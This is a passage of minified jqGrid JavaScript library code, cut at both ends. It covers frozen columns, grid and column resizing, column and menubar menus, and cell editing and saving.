e,t,r,i,o,a,n,l=this,s=l.p.colModel,d=0,p=s.length,c=Ye(l).jqGrid("getStyleUI",l.p.styleUI+".base","headerDiv",!0,"ui-jqgrid-hdiv"),u=Ye(l).jqGrid("getStyleUI",l.p.styleUI+".common","hover",!0),h="border-box"===Ye("#gbox_"+Ye.jgrid.jqID(l.p.id)).css("box-sizing")?1:0;if(!0!==l.p.subGrid&&!0!==l.p.treeGrid&&!0!==l.p.cellEdit&&!l.p.scroll&&!l.p.frozenColumns){for(l.p.frozenColCount=-1;d<p&&!0===s[d].frozen;)l.p.frozenColCount=d,d++;0<=l.p.frozenColCount&&(a=Ye(".ui-jqgrid-hdiv","#gview_"+Ye.jgrid.jqID(l.p.id)).height(),e=Ye(".ui-jqgrid-bdiv","#gview_"+Ye.jgrid.jqID(l.p.id)).position(),t=Ye(".ui-jqgrid-hdiv","#gview_"+Ye.jgrid.jqID(l.p.id)).position(),l.grid.fhDiv=Ye('<div style="position:absolute;'+("rtl"===l.p.direction?"right:0px;":"left:0px;")+"top:"+t.top+"px;height:"+(a-h)+'px;" class="frozen-div '+c+'"></div>'),l.grid.fbDiv=Ye('<div style="position:absolute;'+("rtl"===l.p.direction?"right:0px;":"left:0px;")+"top:"+e.top+'px;overflow-y:hidden" class="frozen-bdiv ui-jqgrid-bdiv"></div>'),Ye("#gview_"+Ye.jgrid.jqID(l.p.id)).append(l.grid.fhDiv),t=Ye(".ui-jqgrid-htable","#gview_"+Ye.jgrid.jqID(l.p.id)).clone(!0),Ye(t).width(1),Ye(l.grid.fhDiv).append(t),Ye(l).jqGrid("isGroupHeaderOn")?(Ye("tr.jqg-third-row-header",l.grid.hDiv).height(),Ye("tr.jqg-first-row-header, tr.jqg-third-row-header",t).each(function(){Ye("th",this).slice(l.p.frozenColCount+1).remove()}),i=r=-1,Ye("tr.jqg-second-row-header th",t).each(function(){if(o=parseInt(Ye(this).attr("colspan"),10),parseInt(Ye(this).attr("rowspan"),10)&&(r++,i++),o&&(r+=o,i++),r===l.p.frozenColCount)return i=l.p.frozenColCount,!1}),r!==l.p.frozenColCount&&(i=l.p.frozenColCount),Ye("tr.jqg-second-row-header",t).each(function(){Ye("th",this).slice(i+1).remove()}),a=Ye("tr.jqg-second-row-header th",t).filter(function(){return"none"!==Ye(this).css("display")}).first(),"object"===Ye.jgrid.type(a)&&a.length&&"hidden"!==a.css("visibility")&&""===Ye.jgrid.trim(a[0].outerText)&&a.html(" "),a=Ye("tr.jqg-third-row-header th",t).filter(function(){return"none"!==Ye(this).css("display")}).first(),"object"===Ye.jgrid.type(a)&&a.length&&"hidden"!==a.css("visibility")&&""===Ye.jgrid.trim(a[0].outerText)&&Ye("div",a).prepend(" ")):(n=[],Ye("#gview_"+Ye.jgrid.jqID(l.p.id)+" .ui-jqgrid-htable > thead >tr").each(function(e,t){n.push(parseInt(Ye(this).height(),10))}),Ye("thead >tr",t).each(function(){Ye("th",this).slice(l.p.frozenColCount+1).remove()}),Ye("thead >tr",t).each(function(e){0===e&&--n[e],Ye(this).height(n[e])})),Ye.jgrid.msie()||Ye(t).css("height","100%"),Ye(l.grid.fhDiv).mousemove(function(e){if(l.grid.resizing)return l.grid.dragMove(e),!1}),l.p.sortable&&Ye.fn.sortable&&Ye(l.grid.fhDiv).find("tr.ui-jqgrid-labels th").addClass("sortable-disabled"),l.p.headerrow&&(l.grid.fhrDiv=Ye('<div style="position:absolute;'+("rtl"===l.p.direction?"right:0px;":"left:0px;")+'top:0px;" class="frozen-hrdiv ui-jqgrid-hrdiv "></div>'),Ye("#gview_"+Ye.jgrid.jqID(l.p.id)).append(l.grid.fhrDiv)),l.p.footerrow&&(l.grid.fsDiv=Ye('<div style="position:absolute;'+("rtl"===l.p.direction?"right:0px;":"left:0px;")+'top:0px;" class="frozen-sdiv ui-jqgrid-sdiv"></div>'),Ye("#gview_"+Ye.jgrid.jqID(l.p.id)).append(l.grid.fsDiv)),Ye("#gview_"+Ye.jgrid.jqID(l.p.id)).append(l.grid.fbDiv),Ye(l.grid.fbDiv).on("mousewheel DOMMouseScroll",function(e){l.grid.bDiv.scrollTop+="mousewheel"===e.type?-e.originalEvent.wheelDelta/10:6*e.originalEvent.detail}),!0===l.p.hoverrows&&Ye("#"+Ye.jgrid.jqID(l.p.id)).off("mouseover mouseout"),Ye(l).on("jqGridAfterGridComplete.setFrozenColumns",function(){Ye("#"+Ye.jgrid.jqID(l.p.id)+"_frozen").remove(),Ye(l.grid.fbDiv).height(Ye(l.grid.bDiv)[0].clientHeight);var e,i=[],t=(Ye("#"+Ye.jgrid.jqID(l.p.id)+" tr[role=row].jqgrow").each(function(){i.push(Ye(this).height())}),Ye("#"+Ye.jgrid.jqID(l.p.id)).clone(!0));Ye("tr[role=row]",t).each(function(){Ye("td[role=gridcell]",this).slice(l.p.frozenColCount+1).remove()}),Ye(t).width(1).attr("id",l.p.id+"_frozen"),Ye(l.grid.fbDiv).append(t),Ye("tr[role=row].jqgrow",t).each(function(e,t){var r;Ye(this).height(i[e]),.3<=Math.abs(Ye(this).height()-i[e])&&(r=Ye("td:visible",this).first()).height(i[e]-Math.round(parseFloat(r.css("border-bottom-width"))))}),l.rows[1]&&"norecs"===l.rows[1].id&&Ye("#norecs td",t).html(""),Ye(l.grid.fbDiv)[0].scrollTop=Ye(l.grid.bDiv)[0].scrollTop,!0===l.p.hoverrows&&(Ye("tr.jqgrow",t).hover(function(){Ye(this).addClass(u),Ye("#"+Ye.jgrid.jqID(this.id),"#"+Ye.jgrid.jqID(l.p.id)).addClass(u)},function(){Ye(this).removeClass(u),Ye("#"+Ye.jgrid.jqID(this.id),"#"+Ye.jgrid.jqID(l.p.id)).removeClass(u)}),Ye("tr.jqgrow","#"+Ye.jgrid.jqID(l.p.id)).hover(function(){Ye(this).addClass(u),Ye("#"+Ye.jgrid.jqID(this.id),"#"+Ye.jgrid.jqID(l.p.id)+"_frozen").addClass(u)},function(){Ye(this).removeClass(u),Ye("#"+Ye.jgrid.jqID(this.id),"#"+Ye.jgrid.jqID(l.p.id)+"_frozen").removeClass(u)})),l.p.headerrow&&(t=Ye(l.grid.hrDiv).position(),Ye("table",l.grid.fhrDiv).remove(),e=Ye(".ui-jqgrid-hrtable","#gview_"+Ye.jgrid.jqID(l.p.id)).clone(!0),Ye("tr",e).each(function(){Ye("td",this).slice(l.p.frozenColCount+1).remove()}),Ye(e).width(1),Ye(l.grid.fhrDiv).css("top",t.top+"px").append(e)),l.p.footerrow&&(t=Ye(l.grid.sDiv).position(),Ye("table",l.grid.fsDiv).remove(),e=Ye(".ui-jqgrid-ftable","#gview_"+Ye.jgrid.jqID(l.p.id)).clone(!0),Ye("tr",e).each(function(){Ye("td",this).slice(l.p.frozenColCount+1).remove()}),Ye(e).width(1),Ye(l.grid.fsDiv).css("top",t.top+"px").append(e))}),l.grid.hDiv.loading||Ye(l).triggerHandler("jqGridAfterGridComplete.setFrozenColumns"),l.p.frozenColumns=!0,Ye(l).triggerHandler("onFrozenColumnsCall"))}}})},destroyFrozenColumns:function(){return this.each(function(){var e,t,r;this.grid&&!0===this.p.frozenColumns&&(t=Ye(e=this).jqGrid("getStyleUI",e.p.styleUI+".common","hover",!0),Ye(e.grid.fhDiv).remove(),Ye(e.grid.fbDiv).remove(),e.grid.fhDiv=null,e.grid.fbDiv=null,e.p.footerrow&&(Ye(e.grid.fsDiv).remove(),e.grid.fsDiv=null),e.p.headerrow&&(Ye(e.grid.fhrDiv).remove(),e.grid.fhrDiv=null),Ye(this).off(".setFrozenColumns"),!0===e.p.hoverrows&&Ye("#"+Ye.jgrid.jqID(e.p.id)).on({mouseover:function(e){r=Ye(e.target).closest("tr.jqgrow"),"ui-subgrid"!==Ye(r).attr("class")&&Ye(r).addClass(t)},mouseout:function(e){r=Ye(e.target).closest("tr.jqgrow"),Ye(r).removeClass(t)}}),this.p.frozenColumns=!1,this.p.frozenColCount=-1)})},resizeColumn:function(n,l,s,d){return this.each(function(){var e,t,r=this.grid,i=this.p,o=i.colModel,a=o.length;if("boolean"!=typeof s&&(s=!1),"boolean"!=typeof d&&(d=!0),"string"==typeof n){for(e=0;e<a;e++)if(o[e].name===n){n=e;break}}else n=parseInt(n,10);if((o[n].resizable||s)&&!o[n].hidden&&(l=parseFloat(l),!("number"!=typeof n||n<0||n>o.length-1||"number"!=typeof l))){if(l<i.minColWidth&&(l=i.minColWidth),i.forceFit)for(i.nv=0,e=n+1;e<a;e++)if(!0!==o[e].hidden){i.nv=e-n;break}if(r.resizing={idx:n},t=l-r.headers[n].width,i.forceFit){if(r.headers[n+i.nv].width-t<i.minColWidth)return;r.headers[n+i.nv].newWidth=r.headers[n+i.nv].width-t}r.newWidth=i.tblwidth+t,r.headers[n].newWidth=l,r.dragEnd(!1,d)}})},getStyleUI:function(e,t,r,i){var o="",a="";try{var n=e.split(".");switch(r||(o="class=",a='"'),Ye.jgrid.isNull(i)&&(i=""),n.length){case 1:o+=a+Ye.jgrid.trim(i+" "+Ye.jgrid.styleUI[n[0]][t]+a);break;case 2:o+=a+Ye.jgrid.trim(i+" "+Ye.jgrid.styleUI[n[0]][n[1]][t]+a)}}catch(e){o=""}return o},resizeGrid:function(e,d,p,c){return this.each(function(){var l=this,s=!1;void 0===e&&(e=500),"boolean"!=typeof d&&(d=!0),"boolean"!=typeof p&&(p=!0),"boolean"!=typeof c&&(c=!0),setTimeout(function(){try{var e,t,r,i,o,a,n;l.p.frozenColumns&&c&&(Ye("#"+Ye.jgrid.jqID(l.p.id)).jqGrid("destroyFrozenColumns"),s=!0),d&&(e=Ye(window).width(),t=Ye("#gbox_"+Ye.jgrid.jqID(l.p.id)).parent().width(),r=l.p.width,r=3<e-t?t:e,Ye(l.grid.bDiv).css("max-height")&&["100%","auto"].includes(l.p.height)&&Ye(l.grid.bDiv).height()<Ye(l).height()?Ye("#"+Ye.jgrid.jqID(l.p.id)).jqGrid("setGridWidth",r+l.p.scrollOffset-2,!1,!1):Ye("#"+Ye.jgrid.jqID(l.p.id)).jqGrid("setGridWidth",r,l.p.shrinkToFit,!1)),"auto"!==l.p.height&&"100%"!==l.p.height&&p&&(n=l.p.height,i=-1===l.p.styleUI.search("Bootstrap")||isNaN(l.p.height)?0:2,n=3<(o=Ye(window).height())-(a=Ye("#gbox_"+Ye.jgrid.jqID(l.p.id)).parent().height())?a:o,Ye("#"+Ye.jgrid.jqID(l.p.id)).jqGrid("setGridHeight",n-i,!0,!1)),l.p.frozenRows&&Ye(l).trigger("jqGridAfterGridComplete.setFrozenRows"),s&&Ye("#"+Ye.jgrid.jqID(l.p.id)).jqGrid("setFrozenColumns")}catch(e){}},e)})},colMenuAdd:function(e,t){var r=this[0].p.styleUI,r=Ye.jgrid.styleUI[r].colmenu;return t=Ye.extend({title:"Item",icon:r.icon_new_item,funcname:null,position:"last",closeOnRun:!0,exclude:"",id:null,items:[]},t||{}),this.each(function(){t.colname="all"===e?"_all_":e;t.id=Ye.jgrid.isNull(t.id,!0)?Ye.jgrid.randId():t.id,this.p.colMenuCustom[t.id]=t})},colMenuDelete:function(e){return this.each(function(){this.p.colMenuCustom.hasOwnProperty(e)&&delete this.p.colMenuCustom[e]})},menubarAdd:function(o){var r,a,e=this[0].p.styleUI,n=Ye.jgrid.styleUI[e].common;return this.each(function(){var i=this;if(Array.isArray(o))for(var e=0;e<o.length;e++){(r=o[e]).id||(r.id=Ye.jgrid.randId());var t="";r.icon&&(t='<span class="'+n.icon_base+" "+r.icon+'"></span>'),r.position||(r.position="last"),r.closeoncall||(r.closeoncall=!0),r.divider?(a='<li class="ui-menu-item divider" role="separator"></li>',r.cick=null):a='<li class="ui-menu-item" role="presentation"><a id="'+r.id+'" class="g-menu-item" tabindex="0" role="menuitem" ><table class="ui-common-table"><tr><td class="menu_icon">'+t+'</td><td class="menu_text">'+r.title+"</td></tr></table></a></li>","last"===r.position?Ye("#"+this.p.id+"_menubar").append(a):Ye("#"+this.p.id+"_menubar").prepend(a)}Ye("li a","#"+this.p.id+"_menubar").each(function(e,r){Ye(o).each(function(e,t){if(t.id===r.id&&Ye.jgrid.isFunction(t.click))return Ye(r).on("click",function(e){t.click.call(i,e)}),!1}),Ye(this).hover(function(e){Ye(this).addClass(n.hover),e.stopPropagation()},function(e){Ye(this).removeClass(n.hover)})})})},menubarDelete:function(e){return this.each(function(){Ye("#"+e,"#"+this.p.id+"_menubar").remove()})},addColSearchMenu:function(){return this.each(function(){var e=this;Ye(e).colMenuAdd("sc",{title:"Reset",position:"first",id:"reset",funcname:function(){Ye("input[id^='jqs_']","#"+this.p.id).each(function(e){Ye(this).val("")}),Ye(this)[0].p._results={},Ye(this).jqGrid("showCol",this.p._avc)}}),Ye(e).colMenuAdd("sc",{separator:!0,id:"groupOp"}),Ye(e).colMenuAdd("sc",{separator:!0,id:"operOp"}),Ye(e).colMenuAdd("sc",{separator:!0,id:"close",funcname:function(){return!0}}),Ye(e).on("jqGridcolMenuBeforeProcess.custom",function(e,t){if("custom"===t.module&&"sc"===t.column){var r,i,o,a=Ye.jgrid.getRegional(this,"search"),n=this.p.searchColOptions,l=Ye.jgrid.getMethod("getStyleUI"),s=this.p.styleUI+".base";if("reset"===t.action.id&&(t.action.title=a.Reset||"Reset",t.action.icon=l(this.p.styleUI+".colmenu","icon_reset",!0,"")),"close"===t.action.id&&(t.action.title=a.Close||"Close",t.action.icon=l(this.p.styleUI+".colmenu","icon_close",!0,"")),"groupOp"===t.action.id){for(r=l(s,"searchSelect",!1,"search-col-input"),t.action.title=""+(a.Operand||"Operand: "),t.action.title+="<select data-grid-id="+this.p.id+' id="opselect" '+r+">",r=l(this.p.styleUI+".colmenu","icon_group_op",!0,""),t.action.icon=r,i=0;i<a.groupOps.length;i++)o=n.searchOp===a.groupOps[i].op?"selected":"",t.action.title+='<option value="'+a.groupOps[i].op+'" '+o+">"+a.groupOps[i].text+"</option>";t.action.title+="</select>",setTimeout(function(){Ye("#opselect").on("change",function(){var e=Ye("#"+Ye(this).attr("data-grid-id"))[0];e.p.searchColOptions.searchOp=Ye(this).val(),Ye.jgrid.myfunc(e.p.id)})},200)}if("operOp"===t.action.id){for(r=l(s,"searchSelect",!1,"search-col-input"),t.action.title=a.Operation||"Oper : ",t.action.title+="<select data-grid-id="+this.p.id+' id="selectoper" '+r+">",r=l(this.p.styleUI+".colmenu","icon_oper_op",!0,""),t.action.icon=r,i=0;i<a.odata.length;i++)o=n.operand===a.odata[i].oper?"selected":"",n.aOperands.includes(a.odata[i].oper)&&(t.action.title+='<option value="'+a.odata[i].oper+'" '+o+">"+a.odata[i].text+"</option>");t.action.title+="</select>",setTimeout(function(){Ye("#selectoper").on("change",function(){var e=Ye("#"+Ye(this).attr("data-grid-id"))[0];e.p.searchColOptions.operand=Ye(this).val(),Ye.jgrid.myfunc(e.p.id)})},200)}}})})},disableColMenu:function(e){return this.each(function(){Ye(this.grid.hDiv).find("tr #jqgh_"+this.p.id+"_"+e+" > .colmenu").css("display","none")})},enableColMenu:function(e){return this.each(function(){Ye(this.grid.hDiv).find("tr #jqgh_"+this.p.id+"_"+e+" > .colmenu").css("display","inline")})}}),Ye.jgrid.extend({editCell:function(c,u,h,g,f){return this.each(function(){var e,t,r,i=this,o=Ye(this).jqGrid("getStyleUI",i.p.styleUI+".common","highlight",!0),a=Ye(this).jqGrid("getStyleUI",i.p.styleUI+".common","disabled",!0),n=i.p.ariaBody?"":Ye(this).jqGrid("getStyleUI",i.p.styleUI+".common","hover",!0),l=Ye(this).jqGrid("getStyleUI",i.p.styleUI+".celledit","inputClass",!0),s=Ye(this).jqGrid("getStyleUI",i.p.styleUI+".celledit","selectClass",!0);if(i.grid&&!0===i.p.cellEdit&&!Ye(i.rows[c]).hasClass(a)){if(u=parseInt(u,10),i.p.selrow=i.rows[c].id,i.p.knv||i.p.ariaBody||Ye(i).jqGrid("GridNav"),0<i.p.savedRow.length){if(!0===h&&c==i.p.iRow&&u==i.p.iCol)return;Ye(i).jqGrid("saveCell",i.p.savedRow[0].id,i.p.savedRow[0].ic)}else window.setTimeout(function(){Ye("#"+Ye.jgrid.jqID(i.p.knv)).attr("tabindex","-1").focus()},1);if("subgrid"!==(e=(a=i.p.colModel[u]).name)&&"cb"!==e&&"rn"!==e&&"sc"!==e){try{r=Ye(i.rows[c].cells[u])}catch(e){r=Ye("td",i.rows[c]).eq(u)}if(0<=parseInt(i.p.iCol,10)&&0<=parseInt(i.p.iRow,10)&&void 0!==i.p.iRowId&&(d=Ye(i).jqGrid("getGridRowById",i.p.iRowId),Ye(d).removeClass("selected-row "+n).find("td").eq(i.p.iCol).removeClass("edit-cell "+o)),r.addClass("edit-cell "+o),Ye(i.rows[c]).addClass("selected-row "+n),!0!==a.editable||!0!==h||r.hasClass("not-editable-cell")||Ye.jgrid.isFunction(i.p.isCellEditable)&&!i.p.isCellEditable.call(i,e,c,u))t=r.html().replace(/\ \;/gi,""),Ye(i).triggerHandler("jqGridCellSelect",[i.rows[c].id,u,t,g]),Ye.jgrid.isFunction(i.p.onCellSelect)&&i.p.onCellSelect.call(i,i.rows[c].id,u,t,g);else{try{t=Ye.unformat.call(i,r,{rowId:i.rows[c].id,colModel:a},u)}catch(e){t=a.edittype&&"textarea"===a.edittype?r.text():r.html()}i.p.autoencode&&(t=Ye.jgrid.htmlDecode(t)),a.edittype||(a.edittype="text"),i.p.savedRow.push({id:c,ic:u,name:e,v:t,rowId:i.rows[c].id});try{(" "===t||" "===t||1===t.length&&160===t.charCodeAt(0))&&(t="")}catch(e){}Ye.jgrid.isFunction(i.p.formatCell)&&void 0!==(d=i.p.formatCell.call(i,i.rows[c].id,e,t,c,u))&&(t=d),Ye(i).triggerHandler("jqGridBeforeEditCell",[i.rows[c].id,e,t,c,u]),Ye.jgrid.isFunction(i.p.beforeEditCell)&&i.p.beforeEditCell.call(i,i.rows[c].id,e,t,c,u);var d,o=Ye.extend({},a.editoptions||{},{id:c+"_"+e,name:e,rowId:i.rows[c].id,oper:"edit",module:"cell"}),p=(f&&(t=g.key),Ye.jgrid.createEl.call(i,a.edittype,o,t,!0,Ye.extend({},Ye.jgrid.ajaxOptions,i.p.ajaxSelectOptions||{})));-1<Ye.inArray(a.edittype,["text","textarea","password"])?Ye(p).addClass(l):"select"===a.edittype&&Ye(p).addClass(s),r.html("").append(p).attr("tabindex","0"),Ye.jgrid.bindEv.call(i,p,o),window.setTimeout(function(){Ye(p).focus()},1),Ye("input, select, textarea",r).on("keydown",function(e){var t=e.key;if(27===e.keyCode&&(!(0<Ye("input.hasDatepicker",r).length)||Ye(".ui-datepicker").is(":hidden")?Ye(i).jqGrid("restoreCell",c,u):Ye("input.hasDatepicker",r).datepicker("hide")),13===e.keyCode&&e.altKey&&"TEXTAREA"===this.nodeName)return this.value=this.value+"\r",e.preventDefault(),!0;if(13===e.keyCode&&!e.shiftKey)return e.preventDefault(),Ye(i).jqGrid("saveCell",c,u),c<i.rows.length-1&&f&&Ye(i).jqGrid("focusBodyCell",c+1,u),!1;if(9===e.keyCode&&!f){if(i.grid.hDiv.loading)return!1;e.shiftKey?i.p.ariaBody?(Ye(i).jqGrid("saveCell",c,u),1<u&&Ye(i).jqGrid("focusBodyCell",c,u-1)):!Ye(i).jqGrid("prevCell",c,u,e)&&i.p.editNextRowCell&&0<c-1&&i.rows[c-1]&&(c--,Ye(i).jqGrid("prevCell",c,i.p.colModel.length,e)):i.p.ariaBody?(Ye(i).jqGrid("saveCell",c,u),u<i.p.colModel.length-1&&Ye(i).jqGrid("focusBodyCell",c,u+1)):!Ye(i).jqGrid("nextCell",c,u,e)&&i.p.editNextRowCell&&i.rows[c+1]&&(c++,Ye(i).jqGrid("nextCell",c,0,e))}!f&&i.p.F2key&&i.p.ariaBody&&"F2"===e.key&&(Ye(i).jqGrid("saveCell",c,u),Ye(i).jqGrid("focusBodyCell",c,u),i.p.F2key=!1),f&&("ArrowUp"===t&&(Ye(i).jqGrid("saveCell",c,u),1<c)&&Ye(i).jqGrid("focusBodyCell",c-1,u),"ArrowDown"===t&&(Ye(i).jqGrid("saveCell",c,u),c<i.p.rows.length-1)&&Ye(i).jqGrid("focusBodyCell",c+1,u),"ArrowLeft"===t&&(Ye(i).jqGrid("saveCell",c,u),1<u)&&Ye(i).jqGrid("focusBodyCell",c,u-1),"ArrowRight"===t&&(Ye(i).jqGrid("saveCell",c,u),u<i.p.colModel.length-1)&&Ye(i).jqGrid("focusBodyCell",c,u+1),9===e.keyCode)&&(Ye(i).jqGrid("saveCell",c,u),e.shiftKey?1<u&&Ye(i).jqGrid("focusBodyCell",c,u-1):u<i.p.colModel.length-1&&Ye(i).jqGrid("focusBodyCell",c,u+1)),e.stopPropagation()}),Ye(i).triggerHandler("jqGridAfterEditCell",[i.rows[c].id,e,t,c,u]),Ye.jgrid.isFunction(i.p.afterEditCell)&&i.p.afterEditCell.call(i,i.rows[c].id,e,t,c,u)}i.p.iCol=u,i.p.iRow=c,i.p.iRowId=i.rows[c].id}}})},saveCell:function(w,x,_){return this.each(function(){var o=this,e=o.p.colModel[x],a=e.name,n=Ye(o).jqGrid("getGridRowById",o.rows[w].id),l=Ye("td",n).eq(x),s=(void 0!==_&&(i=Ye.unformat.call(o,l,{rowId:o.rows[w].id,colModel:e},x),o.p.savedRow.push({id:w,ic:x,name:a,v:i,rowId:o.rows[w].id}),o.p.savedValues={oldvalue:i,newvalue:_,indexRow:w}),1<=o.p.savedRow.length?0:null),d=Ye.jgrid.getRegional(this,"errors"),p=Ye.jgrid.getRegional(this,"edit");if(o.grid&&!0===o.p.cellEdit){if(null!==s){var c=Ye.jgrid.jqID(a),u=Ye(l).offset();if(void 0===_)switch(e.edittype){case"select":var r,h,g=e.editoptions.multiple?(t=Ye("#"+w+"_"+c,n),r=[],(h=Ye(t).val())?h.join(","):h="",Ye("option:selected",t).each(function(e,t){r[e]=Ye(t).text()}),r.join(",")):(h=Ye("#"+w+"_"+c+" option:selected",n).val(),Ye("#"+w+"_"+c+" option:selected",n).text());e.formatter&&(g=h);break;case"checkbox":var t=["Yes","No"];e.editoptions&&e.editoptions.value&&(t=e.editoptions.value.split(":")),h=Ye("#"+w+"_"+c,n).is(":checked")?t[0]:t[1],g=h;break;case"password":case"text":case"textarea":case"button":h=Ye("#"+w+"_"+c,n).val(),g=h;break;case"custom":try{if(!e.editoptions||!Ye.jgrid.isFunction(e.editoptions.custom_value))throw"e1";if(void 0===(h=e.editoptions.custom_value.call(o,Ye(".customelement",l),"get")))throw"e2";g=h}catch(e){"e1"===e?Ye.jgrid.info_dialog(d.errcap,"function 'custom_value' "+p.msg.nodefined,p.bClose,{styleUI:o.p.styleUI}):"e2"===e?Ye.jgrid.info_dialog(d.errcap,"function 'custom_value' "+p.msg.novalue,p.bClose,{styleUI:o.p.styleUI}):Ye.jgrid.info_dialog(d.errcap,e.message,p.bClose,{styleUI:o.p.styleUI})}}else{if(!0!==e.editable||l.hasClass("not-editable-cell")||Ye.jgrid.isFunction(o.p.isCellEditable)&&!o.p.isCellEditable.call(o,a,w,x))return g=h=_,void o.p.savedRow.splice(0,1);g=h=_}if(g!==o.p.savedRow[s].v){var i=Ye(o).triggerHandler("jqGridBeforeSaveCell",[o.p.savedRow[s].rowId,a,h,w,x]),f=(i&&(g=h=i),Ye.jgrid.isFunction(o.p.beforeSaveCell)&&(i=o.p.beforeSaveCell.call(o,o.p.savedRow[s].rowId,a,h,w,x))&&(g=h=i),Ye.jgrid.checkValues.call(o,h,x)),m=!1;if(!0===f[0]){var i=Ye(o).triggerHandler("jqGridBeforeSubmitCell",[o.p.savedRow[s].rowId,a,h,w,x])||{},v=(Ye.jgrid.isFunction(o.p.beforeSubmitCell)&&(i=(i=o.p.beforeSubmitCell.call(o,o.p.savedRow[s].rowId,a,h,w,x))||{}),Ye(o).triggerHandler("jqGridOnSubmitCell",[o.p.savedRow[s].rowId,a,h,w,x]));if(void 0===v&&(v=!0),!1===(v=Ye.jgrid.isFunction(o.p.onSubmitCell)&&void 0===(v=o.p.onSubmitCell(o.p.savedRow[s].rowId,a,h,w,x))?!0:v))return;0<Ye("input.hasDatepicker",l).length&&Ye("input.hasDatepicker",l).datepicker("hide");var j={};if("remote"===o.p.cellsubmit)if(o.p.cellurl){o.p.autoencode&&(h=Ye.jgrid.htmlEncode(h)),e.editoptions&&e.editoptions.NullIfEmpty&&""===h&&(h="null",m=!0),j[a]=h;var v=o.p.prmNames,b=v.id,y=v.oper;j[b]=Ye.jgrid.stripPref(o.p.idPrefix,o.p.savedRow[s].rowId),j[y]=v.editoper,j=Ye.extend(i,j),Ye(o).jqGrid("progressBar",{method:"show",loadtype:o.p.loadui,htmlcontent:Ye.jgrid.getRegional(o,"defaults.savetext")}),o.grid.hDiv.loading=!0,Ye.ajax(Ye.extend({url:o.p.cellurl,data:Ye.jgrid.isFunction(o.p.serializeCellData)?o.p.serializeCellData.call(o,j,a):j,type:"POST",success:function(e,t,r){var i;Ye(o).jqGrid("progressBar",{method:"hide",loadtype:o.p.loadui}),o.grid.hDiv.loading=!1,"success"===t&&(!0===(i=!0===(i=Ye(o).triggerHandler("jqGridAfterSubmitCell",[o,r,j[b],a,h,w,x])||[!0,""])[0]&&Ye.jgrid.isFunction(o.p.afterSubmitCell)?o.p.afterSubmitCell.call(o,r,j[b],a,h,w,x):i)[0]?(m&&(h=""),Ye(l).empty(),Ye(o).jqGrid("setCell",o.p.savedRow[s].rowId,x,g,!1,!1,!0),l=Ye("td",n).eq(x),Ye(l).addClass("dirty-cell"),Ye(n).addClass("edited"),Ye(o).triggerHandler("jqGridAfterSaveCell",[o.p.savedRow[s].rowId,a,h,w,x]),Ye.jgrid.isFunction(o.p.afterSaveCell)&&o.p.afterSaveCell.call(o,o.p.savedRow[s].rowId,a,h,w,x),o.p.savedRow.splice(0,1)):(Ye(o).triggerHandler("jqGridErrorCell",[r,t]),Ye.jgrid.isFunction(o.p.errorCell)?o.p.errorCell.call(o,r,t):Ye.jgrid.info_dialog(d.errcap,i[1],p.bClose,{styleUI:o.p.styleUI,top:u.top+30,left:u.left,onClose:function(){o.p.restoreCellonFail||Ye("#"+w+"_"+c,n).focus()}}),o.p.restoreCellonFail&&Ye(o).jqGrid("restoreCell",w,x)))},error:function(e,t,r){Ye("#lui_"+Ye.jgrid.jqID(o.p.id)).hide(),o.grid.hDiv.loading=!1,Ye(o).triggerHandler("jqGridErrorCell",[e,t,r]),Ye.jgrid.isFunction(o.p.errorCell)?o.p.errorCell.call(o,e,t,r):Ye.jgrid.info_dialog(d.errcap,e.status+" : "+e.statusText+"<br/>"+t,p.bClose,{styleUI:o.p.styleUI,top:u.top+30,left:u.left,onClose:function(){o.p.restoreCellonFail||Ye("#"+w+"_"+c,n).focus()}}),o.p.restoreCellonFail&&Ye(o).jqGrid("restoreCell",w,x)}},Ye.jgrid.ajaxOptions,o.p.ajaxCellOptions||{}))}else try{Ye.jgrid.info_dialog(d.errcap,d.nourl,p.bClose,{styleUI:o.p.styleUI}),o.p.restoreCellonFail&&Ye(o).jqGrid("restoreCell",w,x)}catch(e){}"clientArray"===o.p.cellsubmit?(Ye(l).empty(),Ye(o).jqGrid("setCell",o.p.savedRow[s].rowId,x,g,!1,!1,!0),l=Ye("td",n).eq(x),Ye(l).addClass("dirty-cell"),Ye(n).addClass("edited"),Ye(o).triggerHandler("jqGridAfterSaveCell",[o.p.savedRow[s].rowId,a,h,w,x]),Ye.jgrid.isFunction(o.p.afterSaveCell)&&o.p.afterSaveCell.call(o,o.p.savedRow[s].rowId,a,h,w,x),o.p.savedRow.splice(0,1)):"storage"===o.p.cellsubmit&&((j=o.p.savedRow[s])[a]=h,j[o.p.keyName]=Ye.jgrid.stripPref(o.p.idPrefix,o.p.savedRow[s].rowId),Ye(o).jqGrid("updateStorageRecord",j).then(function(e){"complete"===e.type&&(Ye(l).empty(),Ye(o).jqGrid("setCell",o.p.savedRow[s].rowId,x,g,!1,!1,!0),l=Ye("td",n).eq(x),Ye(l).addClass("dirty-cell"),Ye(n).addClass("edited"),Ye(o).triggerHandler("jqGridAfterSaveCell",[o.p.savedRow[s].rowId,a,h,w,x]),Ye.jgrid.isFunction(o.p.afterSaveCell)&&o.p.afterSaveCell.call(o,o.p.savedRow[s].rowId,a,h,w,x),o.p.savedRow.splice(0,1))}).catch(function(e){Ye.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")}))}else try{Ye.jgrid.isFunction(o.p.validationCell)?o.p.validationCell.call(o,Ye("#"+w+"_"+c,n),f[1],w,x):(window.setTimeout(function(){Ye.jgrid.info_dialog(d.errcap,h+" "+f[1],p.bClose,{styleUI:o.p.styleUI,top:u.top+30,left:u.left,onClose:function(){o.p.restoreCellonFail||Ye("#"+w+"_"+c,n).focus()}})},50),o.p.restoreCellonFail&&Ye(o).jqGrid("restoreCell",w,x))}catch(e){alert(f[1])}}else Ye(o).jqGrid("restoreCell",w,x)}window.setTimeout(function(){Ye("#"+Ye.jgrid.jqID(o.p.knv)).attr("tabindex","-1").focus(),o.p.ariaBody&&Ye(o).jqGrid("focusBodyCell",o.p.iRow,o.p.iCol)},0)}})},restoreCell:function(i,o){return this.each(function(){var e=this,t=1<=e.p.savedRow.length?0:null;if(e.grid&&!0===e.p.cellEdit){if(null!==t){var 